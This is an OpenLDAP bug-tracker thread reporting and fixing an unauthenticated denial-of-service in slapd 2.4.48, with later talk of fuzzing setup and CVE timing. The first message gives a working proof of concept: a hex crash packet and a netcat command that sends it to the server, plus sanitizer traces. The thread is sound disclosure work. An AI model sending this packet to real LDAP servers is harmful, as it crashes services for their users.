Full_Name: Stephan Zeisberg Version: 2.4.48 OS: Fedora 31 (kernel 5.3.11-300.fc31.x86_64) URL: Submission from: (NULL) (217.228.59.1) # Issue description Unauthenticated remote denial-of-service through malformed ldap packet caused by a null pointer dereference in ber_skip_tag function (libraries/liblber/decode.c). # Version openldap-2.4.48.tgz # How to reproduce ## Compile $ tar xzvf openldap-2.4.48.tgz $ cd openldap-2.4.48 $ ./configure --prefix=/tmp/openldap $ make depend $ make $ make install $ cd /tmp/openldap ## Start server $ ./libexec/slapd -d 1 -h ldap://127.0.0.1:9091 ## Create PoC crash file $ echo -n "3084000000b902022da277072d0b312e332e362e312e312e38810038303132353339313934303339cb36352e2e2e2e2e2e2e2ec8a6134cba3e07b6bc691e2e79a9a3f6d0bb7b5d789a8be1058da4a448206401aadcc21bc939ba86a2f30c64f585b9e65fafb0a10d8427736b1bc0422868aa1fda601953d87aa638228bc4ae2dc2f85be810f282847bcab689fb75755eed809d8e284b647ee3c76b52bd6e309d4fa7a2437cf195f6682b4bd303d2de1654160613adb2744b9632515871278b01671ca5a8faf18f736964d34f8da5d40370ec68f2b68b47fe1f2b6d1a04359f54ad827ae21963768ef1f854e03f173e1f57c1b04c5b3dd2a736bb6ea159e5000000000000000272af3a4164acbf51b0b27c7d1ed9ce4b52b0a6b0a4d678fecd8112dd6c4d00" | xxd -r -p > ldap.crash ## Execute PoC (may need to be executed multiple times) $ nc 127.0.0.1 9091 < ldap.crash # Valgrind + UBSAN 5de0ddc3 connection_read(12): checking for input on id=1000 ber_get_next ber_scanf fmt ({i}) ber: ==4066091== Thread 3: ==4066091== Invalid read of size 1 ==4066091== at 0x63E1DF: ber_skip_tag (decode.c:256) ==4066091== by 0x63F7A8: ber_scanf (decode.c:865) ==4066091== by 0x4FD051: cancel_extop (cancel.c:52) ==4066091== by 0x4BE530: fe_extended (extended.c:222) ==4066091== by 0x4BE36B: do_extended (extended.c:177) ==4066091== by 0x472CA7: connection_operation (connection.c:1158) ==4066091== by 0x471331: connection_read_thread (connection.c:1294) ==4066091== by 0x5FEE79: ldap_int_thread_pool_wrapper (tpool.c:696) ==4066091== by 0xCA384E1: start_thread (in /usr/lib64/libpthread-2.30.so) ==4066091== by 0xCCC6692: clone (in /usr/lib64/libc-2.30.so) ==4066091== Address 0x0 is not stack'd, malloc'd or (recently) free'd ==4066091== UndefinedBehaviorSanitizer5de0ddc3 ber_get_next on fd 12 failed errno=0 (Success) :DEADLYSIGNAL ==4066091==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000063e1df bp 0x00004ee77660 sp 0x00004ee77640 T4066125) ==4066091==The signal is caused by a READ memory access. ==4066091==Hint: address points to the zero page. ==4066129== Warning: invalid file descriptor 1024 in syscall close() #0 0x63e1de in ber_skip_tag /tmp/openldap-2.4.48/libraries/liblber/decode.c:255:15 #1 0x63f7a8 in ber_scanf /tmp/openldap-2.4.48/libraries/liblber/decode.c:865:10 #2 0x4fd051 in cancel_extop /tmp/openldap-2.4.48/servers/slapd/cancel.c:52:7 #3 0x4be530 in fe_extended /tmp/openldap-2.4.48/servers/slapd/extended.c:222:16 #4 0x4be36b in do_extended /tmp/openldap-2.4.48/servers/slapd/extended.c:177:15 #5 0x472ca7 in connection_operation /tmp/openldap-2.4.48/servers/slapd/connection.c:1158:7 #6 0x471331 in connection_read_thread /tmp/openldap-2.4.48/servers/slapd/connection.c:1294:14 #7 0x5fee79 in ldap_int_thread_pool_wrapper /tmp/openldap-2.4.48/libraries/libldap_r/tpool.c:696:3 #8 0xca384e1 in start_thread (/lib64/libpthread.so.0+0x94e1) #9 0xccc6692 in clone (/lib64/libc.so.6+0x101692) UndefinedBehaviorSanitizer can not provide additional info. Please let me know what additional information I can provide to successfully reproduce the issue. Note: I have also tested and reproduced the issue using the precompiled package from the Fedora repositories: openldap-servers-2.4.47-3.fc31.x86_64 (OpenLDAP: slapd 2.4.47 (Jul 25 2019 00:00:00)) -Stephan Zeisberg
On Fri, Nov 29, 2019 at 09:08:15AM +0000, stephan@srlabs.de wrote: > Unauthenticated remote denial-of-service through malformed ldap packet > caused by a null pointer dereference in ber_skip_tag function > (libraries/liblber/decode.c). > > ==4066091== by 0x4FD051: cancel_extop (cancel.c:52) Hi Stephan, thanks for the report, this should be fixed by commit 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. Looks like you are fuzzing the server which has been on my to do list for a while, many thanks for that and I'm looking forward to reading how you did it. Would you be willing to help the project integrate your work in its testing process after you've finished? Thanks, -- Ondřej Kuzník Senior Software Engineer Symas Corporation http://www.symas.com Packaged, certified, and supported LDAP solutions powered by OpenLDAP
Hi Ondřej — The commit 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 seems to fix the null pointer dereference issue. Using honggfuzz netdriver module, fuzzing of slapd can be accomplished relatively easy. You can follow the below instructions to fuzz the server: 1. Install honggfuzz (stable) $ export CC=hfuzz-clang $ export CXX=hfuzz-clang++ 2. Apply attached patch (fuzz.patch) 3. Compile openldap $ ./configure $ make depend $ make $ make install 4. Create testcase directory including seeds (probably you have way better seeds then I have :), I just used ldap payloads extracted from some pcap's) $ mkdir testcases 5. Start fuzzing $ HFND_TCP_PORT=9090 honggfuzz -w ldap.wordlist -f testcases/ -- ./libexec/slapd -d 1 -h ldap://127.0.0.1:9090 As you see, the fuzzing setup is relatively simple thanks to honggfuzz. Hope this helps! Note: After Cyrus SASL fixes the other issue #9123, I will request CVE id's for the two bugs and share them as a reference in the relevant issues (#9123, #9124) Cheers -Stephan On 11/29/19 1:06 PM, Ondřej Kuzník wrote: > On Fri, Nov 29, 2019 at 09:08:15AM +0000, stephan@srlabs.de wrote: >> Unauthenticated remote denial-of-service through malformed ldap packet >> caused by a null pointer dereference in ber_skip_tag function >> (libraries/liblber/decode.c). >> >> ==4066091== by 0x4FD051: cancel_extop (cancel.c:52) > Hi Stephan, > thanks for the report, this should be fixed by commit > 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. > > Looks like you are fuzzing the server which has been on my to do list > for a while, many thanks for that and I'm looking forward to reading > how you did it. Would you be willing to help the project integrate your > work in its testing process after you've finished? > > Thanks, >
stephan@srlabs.de wrote: > Note: After Cyrus SASL fixes the other issue #9123, I will request CVE id= > 's for the two bugs and share them as a reference in the relevant issues = > (#9123, #9124) Usual practice for CVEs is not to make them public until fixes are released. In the future, you should tick the Major Security Issue button for potential CVEs so they can be handled privately before release. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/
Will use the Major Security issue button next time. Also, I will wait with CVE ID request until a new release including the bug fix(es) is available. Please let me know when the new release is ready. Cheers -Stephan > On 29. Nov 2019, at 16:50, Howard Chu <hyc@symas.com> wrote: > > stephan@srlabs.de wrote: >> Note: After Cyrus SASL fixes the other issue #9123, I will request CVE id= >> 's for the two bugs and share them as a reference in the relevant issues = >> (#9123, #9124) > > Usual practice for CVEs is not to make them public until fixes are released. In the > future, you should tick the Major Security Issue button for potential CVEs so they > can be handled privately before release. > > -- > -- Howard Chu > CTO, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc/ > Chief Architect, OpenLDAP http://www.openldap.org/project/
On 11/29/19 1:06 PM, ondra@mistotebe.net wrote: > thanks for the report, this should be fixed by commit > 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. Will this fix be added to 2.4.49 and when? Ciao, Michael.
changed notes changed state Open to Release moved from Incoming to Software Bugs
Stephan, regarding: https://www.openldap.org/its/index.cgi?findid=9124 Was there ever a CVE-Id assigned to this issue? I'd like to reference it in back-port patches for downstream packages. Ciao, Michael.
Hi Michael — So far I have not requested a CVE-Id for the issue. That's what Howard wrote in this regard: Usual practice for CVEs is not to make them public until fixes are released. In the future, you should tick the Major Security Issue button for potential CVEs so they can be handled privately before release. I am not aware of a release including the bugfix for the issue. If the release already exists I am happy to request a CVE-Id for it Cheers -Stephan On 1/10/20 2:04 PM, Michael Ströder wrote: Stephan, regarding: https://www.openldap.org/its/index.cgi?findid=9124 Was there ever a CVE-Id assigned to this issue? I'd like to reference it in back-port patches for downstream packages. Ciao, Michael.
On 1/10/20 2:28 PM, Stephan Zeisberg wrote: > So far I have not requested a CVE-Id for the issue. That's what Howard > wrote in this regard: > >> Usual practice for CVEs is not to make them public until fixes are >> released. In the future, you should tick the Major Security Issue >> button for potential CVEs so they can be handled privately before >> release.> > I am not aware of a release including the bugfix for the issue. If the > release already exists I am happy to request a CVE-Id for it First of all, many thanks for finding and submitting issues like this. Disclaimer: I'm not an official OpenLDAP project member and I'm not an expert for this CVE-ID process. From my understanding you can request a CVE-ID which is kept confidential until the vendor developed a fix. This is useful to already have a unique reference for all the work done upstream to fix a particular security issue and for applying back-port patches to downstream packages (e.g. in Linux distributions). Furthermore OpenLDAP's ITS allows to mark an issue as security issue which hides it from public access. I read Howard's comment that he meant exactly this. Ciao, Michael.
Fixed in master Fixed in RE24 (2.4.49)
changed notes changed state Release to Closed